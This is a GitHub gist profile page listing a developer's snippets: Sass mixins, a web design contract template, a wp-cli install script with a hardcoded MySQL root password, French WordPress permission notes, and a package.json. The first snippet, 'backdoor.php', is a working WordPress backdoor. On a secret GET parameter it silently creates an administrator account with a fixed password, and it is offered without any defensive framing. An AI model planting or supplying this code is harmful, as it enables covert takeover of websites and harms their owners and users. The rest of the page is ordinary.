Skip to content

Instantly share code, notes, and snippets.

View xavierartot's full-sized avatar

Xavier Artot xavierartot

  • Paris
View GitHub Profile
@xavierartot
xavierartot / backdoor.php
Created December 31, 2015 19:46 — forked from jgalea/backdoor.php
Create a backdoor to a WordPress website.
<?php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
//add a class http://stackoverflow.com/questions/24967864/skrollr-change-nav-class-when-scrolling-to-different-sections-of-site
<li class="home"
data-center-top="@class:home active"
data-center-bottom="@class:home active"
data-anchor-target="#one"
data-edge-strategy="reset">
<a data-menu-top="0" href="#one">Home</a>
</li>
//add an event with jQuery
@xavierartot
xavierartot / gist:61f7e6d7ab1e6318a1d0
Created December 10, 2015 03:18
install WP with wp-cli
echo 'please, create your repertoire website'
read rep
mkdir -v $rep
cd $rep
echo 'downloading WordPress'
wp core download
echo 'create the database'
mysql -u root -p"root" -e "CREATE DATABASE \`$rep\`;"

Web Design Contract

Based on Contract Killer, an open-source contract for web developers.

Summary:

I’ll always do my best to fulfill your needs and meet your expectations, but it’s important to have things written down so that we both know what’s what, who should do what and when, and what will happen if something goes wrong. In this contract you won’t find any complicated legal terms or long passages of unreadable text. I have no desire to trick you into signing something that you might later regret. What I do want is what’s best for both parties, now and in the future.

So in short;

You ([CLIENT COMPANY]), located at [CLIENT ADDRESS] are hiring me ([DEVELOPER]) located at [DEVELOPER ADDRESS] to design and develop a web site for the estimated total price of [QUOTE] as outlined in our previous correspondence.

@xavierartot
xavierartot / gist:44c48369852e9161f2d2
Created August 13, 2015 15:38
Responsive Breakpoints
https://web-design-weekly.com/2013/05/12/handy-sass-mixins/
My most utilised mixin that I don’t think I could live without anymore. Just set your breakpoint at whatever width you desire and go crazy.
@mixin breakpoint($point) {
@if $point == large {
@media (min-width: 64.375em) { @content; }
}
@else if $point == medium {
https://css-tricks.com/snippets/sass/maintain-aspect-ratio-mixin/
@mixin aspect-ratio($width, $height) {
position: relative;
&:before {
display: block;
content: "";
width: 100%;
padding-top: ($height / $width) * 100%;
}
@xavierartot
xavierartot / gist:2319940125a3da8236fd
Last active August 29, 2015 14:26
vertical align center and horizontal
@mixin vertical-align {
position: relative;
top: 50%;
transform: translateY(-50%);
}
@mixin vertical-align {
position: relative;
left: 50%;
transform: translateX(-50%);
}
$svg-container-namespace: '.svg-container';
//Give 'em' 1:1 responsive container by default
#{$svg-container-namespace} {
display: inline-block;
position: relative;
height: 0;
width: 100%;
padding: 0;
//Default for 1:1 aspect ratio
@xavierartot
xavierartot / wp-securité
Created June 1, 2015 14:29
wp securité
Les droits sur les dossiers doivent être en général en 755, et faire évoluer leurs droits peut altérer le fonctionnement de WordPress.
Certains fichiers comme wp-config peuvent quand à eux, peuvent / doivent être en 640.
Changer le dossier d'upload se fait aisément en ajoutant
define('UPLOADS', 'wp-content/mesimages');
au dessous de require_once(ABSPATH.'wp-settings.php');
dans wp-config.php
Créé le dossier mesimages en amont et assigné les bonnes permissions;
{
"name": "houstondynamic",
"version": "0.1.0",
"devDependencies": {
"grunt": "latest",
"grunt-autoprefixer": "^2.2.0",
"grunt-contrib-concat": "~0.5.0",
"grunt-contrib-jshint": "~0.10.0",
"grunt-contrib-less": "~0.12.0",
"grunt-contrib-uglify": "~0.6.0",